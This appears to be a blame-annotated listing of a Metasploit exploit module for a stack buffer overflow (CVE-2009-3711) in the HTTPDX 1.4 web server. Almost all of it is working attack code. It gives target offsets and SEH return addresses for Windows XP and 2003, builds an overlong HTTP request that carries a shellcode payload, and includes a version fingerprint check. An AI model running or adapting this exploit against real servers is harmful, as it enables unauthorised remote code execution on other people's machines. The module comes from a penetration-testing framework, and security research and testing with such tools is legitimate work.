2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2009-11-17 22:29:20 +00:00
|
|
|
|
|
|
|
##
|
|
|
|
# httpdx_handlepeer.rb
|
|
|
|
#
|
|
|
|
# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
|
|
|
|
#
|
|
|
|
# Tested successfully on the following platforms
|
|
|
|
# - HTTPDX 1.4 on Microsoft Windows XP SP3
|
|
|
|
#
|
|
|
|
# This vulnerability was found by Pankaj Kohli, see references.
|
|
|
|
#
|
|
|
|
# Trancer
|
|
|
|
# http://www.rec-sec.com
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-07-07 17:38:59 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] }
|
|
|
|
|
2010-07-07 01:22:26 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2009-11-17 22:29:20 +00:00
|
|
|
include Msf::Exploit::Remote::Seh
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-11-17 22:29:20 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-11-17 22:29:20 +00:00
|
|
|
'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
|
2009-11-17 22:29:20 +00:00
|
|
|
vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
|
|
|
|
By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
|
|
|
|
},
|
|
|
|
'Author' =>
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2009-11-17 22:29:20 +00:00
|
|
|
'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References]
|
|
|
|
'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation
|
|
|
|
'jduck'
|
|
|
|
],
|
2010-05-03 17:13:09 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-11-17 22:29:20 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '58714' ],
|
2010-07-03 03:13:45 +00:00
|
|
|
[ 'CVE', '2009-3711' ],
|
|
|
|
[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
|
|
|
|
[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ]
|
2009-11-17 22:29:20 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process'
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2010-07-06 21:59:16 +00:00
|
|
|
'Space' => 472,
|
2009-11-17 22:29:20 +00:00
|
|
|
# other characters get mangled, but only in a temporary buffer
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
# 'DisableNops' => 'True'
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
|
|
|
[ 'httpdx 1.4 - Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'Offset' => 476,
|
2010-07-07 01:22:26 +00:00
|
|
|
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
|
|
|
|
'Readable' => 0x63b80131 # early in n.dll
|
2010-04-30 08:40:19 +00:00
|
|
|
}
|
2010-07-06 21:59:16 +00:00
|
|
|
],
|
|
|
|
[ 'httpdx 1.4 - Windows 2003 SP2 English',
|
|
|
|
{
|
|
|
|
'Offset' => 472,
|
2010-07-07 01:22:26 +00:00
|
|
|
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
|
|
|
|
'Readable' => 0x63b80131 # early in n.dll
|
2010-07-06 21:59:16 +00:00
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
]
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Oct 08 2009'
|
|
|
|
))
|
2009-11-17 22:29:20 +00:00
|
|
|
end
|
|
|
|
|
2010-07-07 01:22:26 +00:00
|
|
|
def check
|
2010-07-07 17:38:59 +00:00
|
|
|
info = http_fingerprint # check method
|
|
|
|
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
|
2010-07-07 01:22:26 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
2009-11-17 22:29:20 +00:00
|
|
|
end
|
|
|
|
|
2010-07-07 01:22:26 +00:00
|
|
|
|
2009-11-17 22:29:20 +00:00
|
|
|
def exploit
|
|
|
|
uri = payload.encoded
|
|
|
|
if target['Offset'] > payload_space
|
|
|
|
pad = target['Offset'] - payload_space
|
|
|
|
uri << rand_text(pad)
|
|
|
|
end
|
|
|
|
uri << generate_seh_record(target.ret)
|
|
|
|
# jmp back to shellcode
|
|
|
|
uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
|
|
|
|
# extra causing hitting end of the stack
|
|
|
|
uri << rand_text_alphanumeric(1024)
|
2010-07-07 01:22:26 +00:00
|
|
|
|
2009-11-17 22:29:20 +00:00
|
|
|
uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-07-07 01:22:26 +00:00
|
|
|
sploit = '/' + rand_text(3) + '=' + uri
|
|
|
|
|
2009-11-17 22:29:20 +00:00
|
|
|
# an empty host header gives us 512 bytes in the client structure
|
2010-07-07 01:22:26 +00:00
|
|
|
# (the client->filereq and client->host buffers are adjacement in memory)
|
|
|
|
datastore['VHOST'] = ''
|
2009-11-17 22:29:20 +00:00
|
|
|
|
2010-07-26 23:22:42 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
2010-07-07 01:22:26 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => sploit
|
|
|
|
}, 5)
|
2009-11-17 22:29:20 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-11-17 22:29:20 +00:00
|
|
|
end
|